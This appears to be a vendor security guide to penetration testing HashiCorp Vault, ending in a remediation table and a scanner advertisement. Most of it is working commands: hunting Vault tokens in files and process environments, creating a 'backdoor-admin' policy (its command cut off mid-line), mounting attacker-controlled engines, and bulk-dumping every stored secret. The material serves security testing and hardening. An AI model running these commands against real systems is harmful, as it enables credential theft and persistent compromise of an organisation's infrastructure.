HashiCorp Vault Security Testing: Misconfigured Policies, Token Theft, and Secret Exfiltration
HashiCorp Vault is the most widely deployed secrets management solution in DevOps environments. Getting root-level access to a Vault cluster means access to every database password, API key, TLS certificate, and cloud credential managed by that organization. This guide covers the Vault attack surface.
Why Vault Is a Critical Target
A compromised Vault instance typically gives an attacker:
- All database credentials (Vault dynamic secrets for PostgreSQL, MySQL, MongoDB, etc.)
- All cloud provider credentials (AWS, Azure, GCP dynamic credentials)
- TLS certificates and PKI infrastructure keys
- SSH CA signing keys for server access
- Application secrets, API keys, and third-party service tokens
Unlike attacking individual services, a successful Vault compromise is a single pivot point to the entire infrastructure.
Phase 1: Reconnaissance and Fingerprinting
Discovering Vault Instances
# Vault default port is 8200 (HTTP/HTTPS)
# Common DNS patterns
vault.company.com
secrets.company.com
vault.internal
# Check for unauthenticated health endpoint
curl -s https://vault.target.com/v1/sys/health | jq .
# Returns: {"initialized":true,"sealed":false,"version":"1.15.2",...}
# Check seal status (unauthenticated)
curl -s https://vault.target.com/v1/sys/seal-status | jq .
# Version fingerprinting
curl -s https://vault.target.com/v1/sys/health | jq .version
# Check for Vault UI
curl -s https://vault.target.com/ | grep -i "vault"
# Vault on non-standard ports
nmap -p 8200,8201,8202 vault.target.com --open
Enumeration with Initial Access
# List auth methods (partially unauthenticated in some configs)
curl -s https://vault.target.com/v1/sys/auth
# Check which secrets engines are mounted
vault secrets list -detailed
# Via API with token
VAULT_TOKEN="[token]"
curl -H "X-Vault-Token: $VAULT_TOKEN" \
https://vault.target.com/v1/sys/mounts | jq 'keys'
# List policies
vault policy list
curl -H "X-Vault-Token: $VAULT_TOKEN" \
https://vault.target.com/v1/sys/policies/acl | jq .
# Check capabilities of current token
vault token capabilities secret/data/app/database
vault token lookup # see TTL, policies, metadata
Phase 2: Token Theft and Discovery
Finding Vault Tokens in the Environment
# Environment variables
echo $VAULT_TOKEN
env | grep -i vault
# Docker containers
docker inspect [container] | jq '.[].Config.Env[] | select(contains("VAULT_TOKEN"))'
# Kubernetes secrets
kubectl get secrets -A -o json | \
jq '.items[] | select(.data | has("VAULT_TOKEN") or has("vault-token")) | {name: .metadata.name, ns: .metadata.namespace}'
# Kubernetes pod environments
kubectl exec [pod] -- env | grep VAULT_TOKEN
# CI/CD pipeline logs
# Search build logs for patterns: s\.[a-zA-Z0-9]{24}
# Process list (vault agent may expose token)
ps aux | grep vault
cat /proc/[vault-agent-pid]/environ | tr '\0' '\n' | grep VAULT
# Common file locations
cat ~/.vault-token
cat /root/.vault-token
find / -name ".vault-token" 2>/dev/null
find /var/run -name "vault*" 2>/dev/null
Vault Agent Token Theft
# Vault Agent writes the token to a sink file
# Find agent configuration
find / -name "vault-agent*.hcl" 2>/dev/null
cat /etc/vault/agent.hcl
# Check file sinks defined in agent config
# Common patterns:
# sink { type = "file" config = { path = "/var/run/secrets/vault-token" } }
cat /var/run/secrets/vault-token
cat /tmp/vault-token
Phase 3: Policy Misconfiguration Exploitation
Common Over-Permissive Policies
# Read all policies to find misconfigurations
vault policy list | while read p; do
echo "=== Policy: $p ==="
vault policy read $p
done
# Dangerous patterns to look for:
# 1. Wildcard path
path "*" {
capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}
# 2. Wildcard on KV engine
path "secret/*" {
capabilities = ["read", "list"] # reads ALL secrets
}
# 3. sys/* access (admin-level)
path "sys/*" {
capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}
# 4. auth/token/create (can mint tokens for any policy)
path "auth/token/create" {
capabilities = ["create", "update"]
}
Token Escalation via Policy Manipulation
# If you have sys/policies/acl write access:
# Create a new admin policy
vault policy write backdoor-admin - <
Mounting New Secrets Engines
# If you have sys/mounts/* create capability:
# Mount a new KV engine to store exfiltrated data
vault secrets enable -path=attacker kv-v2
# Or mount an AWS secrets engine with your own credentials
# to generate AWS tokens on demand
vault secrets enable aws
vault write aws/config/root \
access_key=AKIAIOSFODNN7ATTACKER \
secret_key=[attacker-secret] \
region=us-east-1
Phase 4: AppRole Authentication Abuse
Stealing role_id and secret_id
# AppRole auth requires two credentials: role_id (semi-public) + secret_id (secret)
# role_id is often stored alongside application configs:
grep -r "role_id\|roleId\|ROLE_ID" /etc/app/ /opt/ ~/.config/ 2>/dev/null
# secret_id is rotatable but often in environment variables:
echo $VAULT_SECRET_ID
grep -r "secret_id\|secretId\|SECRET_ID" /etc/app/ /opt/ 2>/dev/null
# Once you have both, authenticate:
curl -X POST https://vault.target.com/v1/auth/approle/login \
-d '{"role_id":"[role-id]","secret_id":"[secret-id]"}' | jq .auth.client_token
# Enumerate AppRole roles (if you have auth/approle/role/* list access)
vault list auth/approle/role/
vault read auth/approle/role/[role-name]/role-id
Generating Unlimited secret_ids
# If secret_id_num_uses is 0 (unlimited), generate new secret_ids indefinitely
# If secret_id_ttl is not set, they never expire
vault read auth/approle/role/[role-name]
# Check: secret_id_num_uses=0, secret_id_ttl=0 = highly exploitable
# Generate new secret_ids (requires auth/approle/role/[name]/secret-id create)
vault write -f auth/approle/role/[role-name]/secret-id
Phase 5: Kubernetes Auth Method Exploitation
# Vault Kubernetes auth allows pods to authenticate using their ServiceAccount JWT
# If the Vault role has overly broad bound_service_account_names:
# Check role configuration
vault read auth/kubernetes/role/[role-name]
# Dangerous: bound_service_account_names=* or bound_service_account_namespaces=*
# From inside a Kubernetes pod, authenticate with SA JWT:
JWT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -X POST https://vault.target.com/v1/auth/kubernetes/login \
-d "{\"jwt\":\"$JWT\",\"role\":\"[role-name]\"}" | jq .auth.client_token
# If the role allows any service account in any namespace:
# Any pod can authenticate and get the associated Vault token
Phase 6: Secret Exfiltration
# Once you have a token with sufficient permissions, bulk-read secrets:
# Recursive secret enumeration
vault_dump() {
local path="${1:-secret/}"
vault list "$path" 2>/dev/null | tail -n +3 | while read key; do
if [[ "$key" == */ ]]; then
vault_dump "${path}${key}"
else
echo "=== ${path}${key} ==="
vault kv get "${path}${key}" 2>/dev/null
fi
done
}
vault_dump "secret/"
# Via API (faster for bulk operations)
VAULT_TOKEN="[token]" VAULT_ADDR="https://vault.target.com"
list_and_read() {
local path="$1"
curl -s -H "X-Vault-Token: $VAULT_TOKEN" \
"$VAULT_ADDR/v1/$path?list=true" | \
jq -r '.data.keys[]?' | while read key; do
if [[ "$key" == */ ]]; then
list_and_read "${path}${key}"
else
echo "=== ${path}${key} ==="
curl -s -H "X-Vault-Token: $VAULT_TOKEN" \
"$VAULT_ADDR/v1/${path}${key}" | jq .data
fi
done
}
list_and_read "secret/data/"
Remediation Checklist
| Risk | Fix |
|---|---|
| Wildcard policies | Scope paths explicitly; use path "secret/data/app/{{identity.entity.name}}/*" templating |
| Root token in use | Revoke root token after initialization; use break-glass procedure to regenerate |
| Token sinks world-readable | Set restrictive file permissions on Vault Agent sinks; use response wrapping |
| Kubernetes auth wildcard | Bind roles to specific namespaces and service accounts, never * |
| AppRole secret_id no TTL | Set secret_id_ttl and secret_id_num_uses; use response wrapping for delivery |
| No audit logging | Enable audit device: vault audit enable file file_path=/var/log/vault/audit.log |
| UI exposed externally | Restrict Vault UI to VPN/internal network; disable if not needed |
| Unsealed key exposure | Use auto-unseal with AWS KMS/Azure Key Vault/GCP KMS; never store unseal keys with Vault data |
Protect the Applications That Use Vault
Ironimo scans the web application layer for vulnerabilities that could lead to Vault token theft — SSRF, command injection, path traversal, and insecure deserialization. If an attacker can read your app's environment, they can steal your Vault token. Start free scan.